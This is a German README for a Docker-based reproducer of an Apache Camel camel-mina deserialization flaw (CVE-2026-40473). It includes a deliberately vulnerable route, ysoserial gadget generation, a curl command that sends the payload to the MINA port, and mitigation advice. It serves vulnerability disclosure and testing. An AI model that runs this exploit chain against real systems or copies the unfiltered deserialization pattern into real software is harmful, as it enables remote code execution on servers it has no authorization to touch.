
Reproducer für CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsichere Deserialisierung (RCE über TCP/UDP)
Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle in der Komponente camel-mina von Apache Camel, die unter CVE-2026-40473 geführt wird. Der Typ-Konverter MinaConverter.toObjectInput(IoBuffer) verpackt die empfangenen Bytes ohne ObjectInputFilter in ein rohes ObjectInputStream. Eine Route, die einen TCP/UDP-Body in ObjectInput konvertiert und readObject() aufruft, kann daher durch ein präpariertes serialisiertes Objekt, das ein Angreifer an den MINA-Port sendet, zu Remote Code Execution gebracht werden.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40473.html
Der Typ-Konverter IoBuffer → ObjectInput verpackt den Puffer in ein rohes ObjectInputStream:
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // NO ObjectInputFilter
}
Wenn ein camel-mina-TCP/UDP-Consumer die rohen Bytes liefert (z. B. mit allowDefaultCodec=false) und die Route ObjectInput anfordert (getBody(ObjectInput.class), @Body ObjectInput oder convertBodyTo(ObjectInput.class)), wird dieser Konverter ausgeführt. Ein Aufruf von readObject() auf dem zurückgegebenen Stream führt dann jede in den vom Angreifer gelieferten Bytes enthaltene Gadget-Kette aus.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // deserialization sink
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"
(Der MINA-Port 5555 ist in diesem PoC intern im Container; der Helfer /exploit/inject führt das rohe TCP-Senden von innen aus. Legen Sie Port 5555 offen, um vom Host aus mit einem Raw-Client wie nc zu senden.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
Jeder camel-mina-TCP- oder UDP-Consumer, dessen Route den Body in ObjectInput konvertiert (direkt, über @Body ObjectInput oder convertBodyTo(ObjectInput.class)), ist von jedem ausnutzbar, der den MINA-Port erreichen kann.
ObjectInput anfordert.commons-collections:3.2.1).Führen Sie ein Upgrade auf 4.14.6 / 4.18.2 / 4.20.0 durch. Der Fix wendet einen ObjectInputFilter / eine Class-Allow-List auf den Konverter an (entsprechend der Härtung, die auf camel-netty, camel-jms und camel-infinispan angewendet wurde).
Bis zum Upgrade:
ObjectInput / deserialisieren Sie sie nicht.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: sends serialized bytes over TCP to mina:5555
└── resources/
└── application.properties
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Eigenschaft | Wert |
|---|
| Komponente | camel-mina |
| Betroffene Klasse | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Auswirkung | Remote Code Execution (RCE) über TCP/UDP |
| Betroffene Versionen | Von 3.0.0 bis vor 4.14.6, von 4.15.0 bis vor 4.18.2, von 4.19.0 bis vor 4.20.0 |
| Behobene Versionen | 4.14.6, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23319 |
| Melder | Venkatraman Kumar (Securin) |